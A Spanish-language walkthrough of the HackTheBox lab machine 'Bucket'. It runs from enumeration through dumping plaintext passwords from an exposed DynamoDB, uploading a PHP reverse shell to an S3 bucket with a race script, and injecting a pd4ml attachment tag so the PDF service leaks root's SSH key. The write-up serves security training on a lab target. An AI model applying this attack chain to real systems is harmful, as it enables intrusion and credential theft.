Bucket es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Bucket 10.10.10.212 a /etc/hosts como bucket.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
# Nmap 7.70 scan initiated Thu Dec 3 21:12:42 2020 as: nmap -sC -p- -A -oA enumeration/nmap 10.10.10.212 Nmap scan report for 10.10.10.212 Host is up (0.11s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://bucket.htb/ No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=12/3%OT=22%CT=1%CU=36592%PV=Y%DS=2%DC=T%G=Y%TM=5FC9491 OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7% OS:O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y% OS:DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD= OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O= OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 102.97 ms 10.10.14.1 2 134.50 ms 10.10.10.212 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Dec 3 21:22:45 2020 -- 1 IP address (1 host up) scanned in 603.94 seconds |
En esta máquina no vemos de primeras muchos puertos abiertos, asi que vamos directamente a revisar el portal web existente.
Enumeración
Accedemos al portal web y observamos la siguiente página web:
No vemos nada de primeras, más que un simple html, así que revisamos el código fuente y encontramos un subdominio al revisar la localización de las imágenes incrustadas:
Añadiremos el subdominio s3.bucket.htb a nuestro fichero /etc/hosts y accederemos al mismo a través del navegador, donde vemos el siguiente fragmente en json que indica que el servicio está funcionando:
No vemos mucho más así que vamos a intentar descubrir si existe algún directorio en este nuevo subdominio, utilizaremos para ello gobuster:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ gobuster dir -u http://s3.bucket.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 30 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://s3.bucket.htb [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/03 21:19:57 Starting gobuster =============================================================== /health (Status: 200) /shell (Status: 200) /server-status (Status: 403) =============================================================== 2020/12/03 21:57:49 Finished =============================================================== |
Y descubrimos dos directorios, el primero de ellos, /health, nos muestra los servicios disponibles, en este caso están s3 y dynamodb de AWS:
Pero nada más en el mismo, en el segundo de ellos observamos una web shell del servicio dynamodb de aws:
Vamos a probar el acceso a los servicios descubiertos, pero no tenemos unas claves como tal, y la webshell parece que tiene valores por defecto así que utilizaremos las claves que aparecen en la documentación de aws para el ejemplo en la siguiente url:
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html
Y configuramos aws:
|
1 |
$ aws configure |
Una vez añadidas las credenciales, en nuestro caso hemos añadido un perfil nuevo, procedemos a revisar las tablas existentes en el servicio dynamodb:
|
1 2 3 4 5 6 |
$ aws --profile "bucket.htb" dynamodb list-tables --endpoint-url http://s3.bucket.htb { "TableNames": [ "users" ] } |
Descubrimos la tabla users, por lo que ahora vamos a ver el contenido de la misma:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ aws --profile "bucket.htb" dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb { "Items": [ { "password": { "S": "Management@#1@#" }, "username": { "S": "Mgmt" } }, { "password": { "S": "Welcome123!" }, "username": { "S": "Cloudadm" } }, { "password": { "S": "n2vM-<_K_Q:.Aa2" }, "username": { "S": "Sysadm" } } ], "Count": 3, "ScannedCount": 3, "ConsumedCapacity": null } |
Donde obtenemos las contraseñas de varios usuarios, aunque todavía no podemos hacer nada con las mismas.
Revisaremos ahora el servicio de S3, y en primer lugar listaremos los bucket existentes:
|
1 2 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls 2020-12-03 21:45:08 adserver |
Sólo hay uno así que revisaremos el contenido del mismo:
|
1 2 3 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver PRE images/ 2020-12-03 21:45:11 5344 index.html |
Revisamos los ficheros existentes y se trata del fichero index y las imágenes que vimos en el primer portal web que visitamos por lo que intentaremos subir una reverse shell en php con el objetivo de ejecutarla en el portal y conseguir acceso al servidor. En nuestro caso hemos sacado la reverse shell del repositorio de github de pentestmonkey.
Así que una vez creado nuestro fichero lo subimos al bucket y verificamos que el mismo existe:
|
1 2 3 4 5 6 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/images/ && aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/ upload: ./shell.php to s3://adserver/images/shell.php 2020-12-03 21:51:11 37840 bug.jpg 2020-12-03 21:51:11 51485 cloud.png 2020-12-03 21:51:11 16486 malware.png 2020-12-03 21:52:22 5493 shell.php |
Y vemos que el fichero se ha subido correctamente, pero lanzamos un curl y este nos da un error 404:
|
1 2 3 4 5 6 7 8 9 10 |
$ curl http://bucket.htb/images/shell.php <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at bucket.htb Port 80</address> </body></html> |
Revisamos de nuevo el mismo y este se ha borrado por lo que parece que existe algún script de limpieza que elimina el fichero a los pocos segundos de subirlo. Haremos entonces un script que suba el fichero y automáticamente lance un curl para ejecutar el mismo, el script tendrá el siguiente contenido:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#!/bin/bash echo "Upload shell.php file" aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/images/ echo "Check if file is uploaded" aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/ curl --write-out "%{http_code}\n" -s -o /dev/null http://bucket.htb/images/shell.php resp=404 while [[ $resp == "404" ]]; do resp=$(curl --write-out "%{http_code}\n" -s -o /dev/null http://s3.bucket.htb/adserver/images/shell.php) echo ${resp} sleep 0.1; done |
Ejecutaremos el mismo y conseguiremos nuestra shell inversa con el usuario www-data:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from bucket.htb [10.10.10.212] 40064 Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 21:06:08 up 51 min, 0 users, load average: 0.16, 1.23, 1.88 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Revisamos a continuación los usuarios existentes en la máquina y vemos que existe el usuario roy, por lo que trataremos de acceder con el mismo con las contraseñas que descubrimos anteriormente en la tabla users del servicio dynamodb.
Y conseguimos acceder con una de ellas:
|
1 2 3 4 5 6 |
$ su roy Password: n2vM-<_K_Q:.Aa2 id uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm) whoami roy |
Obteniendo la flag de user
Ahora que ya tenemos acceso con el usuario roy, obtendremos una shell más cómoda con python y conseguiremos la flag de user:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
python3 -c 'import pty;pty.spawn("/bin/bash")' roy@bucket:/$ cd cd roy@bucket:~$ ls -l ls -l total 8 drwxr-xr-x 3 roy roy 4096 Sep 24 03:16 project -r-------- 1 roy roy 33 Dec 3 20:15 user.txt roy@bucket:~$ cat user.txt cat user.txt cxxxxxxxxxxxxxxxxxxxxxxxxd roy@bucket:~$ |
Primer paso completado, vamos a por root.
Escalado de privilegios
Ahora que tenemos un usuario con más privilegios que www-data, vamos a crear una clave ssh y la añadiremos al usuario roy para hacer más cómoda la enumeración posterior.
Una vez dentro con nuestra clave encontramos un directorio interesante en la ruta /var/www/bucket-app con permisos de root, aunque observamos que tiene una acl configurada:
|
1 2 3 4 5 6 7 8 9 |
roy@bucket:/var/www$ getfacl bucket-app/ # file: bucket-app/ # owner: root # group: root user::rwx user:roy:r-x group::r-x mask::r-x other::--- |
Y dentro del mismo vemos los siguientes ficheros y directorios:
|
1 2 3 4 5 6 7 8 9 10 11 |
roy@bucket:/var/www$ cd bucket-app/ roy@bucket:/var/www/bucket-app$ ll total 856 drwxr-x---+ 4 root root 4096 Sep 23 10:56 ./ drwxr-xr-x 4 root root 4096 Sep 21 12:28 ../ -rw-r-x---+ 1 root root 63 Sep 23 02:23 composer.json* -rw-r-x---+ 1 root root 20533 Sep 23 02:23 composer.lock* drwxr-x---+ 2 root root 4096 Sep 23 03:29 files/ -rwxr-x---+ 1 root root 17222 Sep 23 03:32 index.php* -rwxr-x---+ 1 root root 808729 Jun 10 11:50 pd4ml_demo.jar* drwxr-x---+ 10 root root 4096 Sep 23 02:23 vendor/ |
Revisamos los mismos y encontramos algo muy interesante en el fichero index.php:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<?php require 'vendor/autoload.php'; use Aws\DynamoDb\DynamoDbClient; if($_SERVER["REQUEST_METHOD"]==="POST") { if($_POST["action"]==="get_alerts") { date_default_timezone_set('America/New_York'); $client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]); $iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), )); foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf"); } |
Observamos que aparece un punto de acceso desconocido hasta el momento en la red local, una tabla nueva en dynamodb llamada alerts y un ejecutable en java para la creación de un fichero pdf por lo que buscamos en google alguna forma de abusar de este servicio de pdf y encontramos el siguiente enlace donde trata el tema:
https://pd4ml.com/cookbook/pdf-attachments.htm
Así que para completar esta parte necesitaremos realizar varios pasos.
- Acceder al puerto 4566 de la máquina local mediante un forward a un puerto local en nuestra máquina
- Crear la tabla alerts
- Añadir los datos indicados y la creación del fichero pdf con la clave ssh de root
- Lanzar una petición POST con el parámetro “action=get_alerts”
Explicados los pasos continuaremos con ello. En primer lugar hacemos un forward de un puerto local al puerto del servidor bucket:
|
1 |
$ ssh -L 12312:127.0.0.1:8000 roy@10.10.10.212 |
Para verificar que funciona correctamente, accedemos a través del navegador a la url http://127.0.0.1:12312 y observamos la siguiente página en construcción:
Completado este primer paso, crearemos la tabla alerts en la máquina:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
roy@bucket:~$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10 --endpoint-url http://127.0.0.1:4566 { "TableDescription": { "AttributeDefinitions": [ { "AttributeName": "title", "AttributeType": "S" } ], "TableName": "alerts", "KeySchema": [ { "AttributeName": "title", "KeyType": "HASH" } ], "TableStatus": "ACTIVE", "CreationDateTime": 1607034279.626, "ProvisionedThroughput": { "LastIncreaseDateTime": 0.0, "LastDecreaseDateTime": 0.0, "NumberOfDecreasesToday": 0, "ReadCapacityUnits": 10, "WriteCapacityUnits": 10 }, "TableSizeBytes": 0, "ItemCount": 0, "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts" } } |
Y haremos un insert de los datos indicados en el fichero index.php:
|
1 2 3 4 5 6 7 |
roy@bucket:~$ aws dynamodb put-item --table-name alerts --item '{"title": {"S":"Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"file.txt\" icon=\"Paperclip\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566 { "ConsumedCapacity": { "TableName": "alerts", "CapacityUnits": 1.0 } } |
Por último paso lanzaremos la petición POST:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ curl -X POST -d "action=get_alerts" http://127.0.0.1:12312/ -v Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 127.0.0.1:12312... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 12312 (#0) > POST / HTTP/1.1 > Host: 127.0.0.1:12312 > User-Agent: curl/7.65.1 > Accept: */* > Content-Length: 17 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 17 out of 17 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 03 Dec 2020 22:36:22 GMT < Server: Apache/2.4.41 (Ubuntu) < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 127.0.0.1 left intact |
Completados los pasos, accederemos al navegador a la ruta http:127.0.0.1:12312/files y vemos que ha generado nuestro fichero:
Ahora nos queda abrir el fichero pdf y descargar la clave ssh de root:
Obteniendo la flag de root
Como último paso accederemos con el usuario root y la clave obtenida en el último paso para conseguir nuestra flag:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
ssh -i /tmp/root.pem root@bucket.htb Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 03 Dec 2020 10:39:08 PM UTC System load: 0.04 Usage of /: 40.4% of 19.56GB Memory usage: 20% Swap usage: 0% Processes: 189 Users logged in: 1 IPv4 address for br-bee97070fb20: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.212 IPv6 address for ens160: dead:beef::250:56ff:feb9:40e5 * Kubernetes 1.19 is out! Get it in one command with: sudo snap install microk8s --channel=1.19 --classic https://microk8s.io/ has docs and details. 91 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Oct 13 10:25:01 2020 root@bucket:~# whoami root root@bucket:~# id uid=0(root) gid=0(root) groups=0(root) oot@bucket:~# ls -l total 36 drwxr-xr-x 3 root root 4096 Sep 16 12:47 backups -rw-r--r-- 1 root root 217 Sep 24 02:18 docker-compose.yml drwxr-xr-x 7 root root 4096 Dec 3 22:39 files -rwxr-xr-x 1 root root 1694 Sep 24 04:09 restore.php -rwxr-xr-x 1 root root 381 Sep 24 02:33 restore.sh -r-------- 1 root root 33 Dec 3 20:15 root.txt drwxr-xr-x 3 root root 4096 May 18 2020 snap -rwxr-xr-x 1 root root 340 Sep 24 02:40 start.sh -rwxr-xr-x 1 root root 182 Sep 24 02:08 sync.sh root@bucket:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxa root@bucket:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
